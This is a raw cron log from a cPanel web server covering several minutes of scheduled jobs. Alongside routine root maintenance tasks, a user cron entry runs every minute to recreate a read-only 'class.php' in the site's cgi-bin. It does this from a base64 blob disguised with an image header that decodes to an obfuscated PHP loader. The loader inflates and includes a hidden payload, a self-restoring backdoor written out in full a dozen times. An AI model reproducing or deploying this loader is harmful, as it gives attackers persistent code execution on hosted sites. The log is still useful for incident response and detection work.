Sep  7 07:44:01 server CROND[8106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:45:01 server CROND[8499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:45:01 server CROND[8502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:45:01 server CROND[8504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:45:01 server CROND[8503]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:45:01 server CROND[8500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:45:01 server CROND[8505]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:45:01 server CROND[8501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:46:01 server CROND[9339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:46:01 server CROND[9340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:46:01 server CROND[9342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:47:01 server CROND[9827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:47:01 server CROND[9828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:47:01 server CROND[9829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:48:01 server CROND[10309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:48:01 server CROND[10310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:48:01 server CROND[10312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:49:01 server CROND[10702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:49:01 server CROND[10704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:49:01 server CROND[10703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:50:01 server CROND[11103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:50:01 server CROND[11105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:50:01 server CROND[11108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:50:01 server CROND[11110]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:50:01 server CROND[11113]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:50:01 server CROND[11112]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:50:01 server CROND[11115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:50:01 server CROND[11114]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:50:01 server CROND[11117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:51:01 server CROND[11950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:51:01 server CROND[11951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:51:01 server CROND[11952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:52:01 server CROND[12450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:52:01 server CROND[12451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:52:01 server CROND[12452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:53:01 server CROND[12842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:53:01 server CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:53:01 server CROND[12843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:54:01 server CROND[13231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:54:01 server CROND[13230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:54:01 server CROND[13232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:55:01 server CROND[13617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:55:01 server CROND[13618]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:55:01 server CROND[13616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:55:01 server CROND[13620]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:55:01 server CROND[13622]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:55:01 server CROND[13623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:55:01 server CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
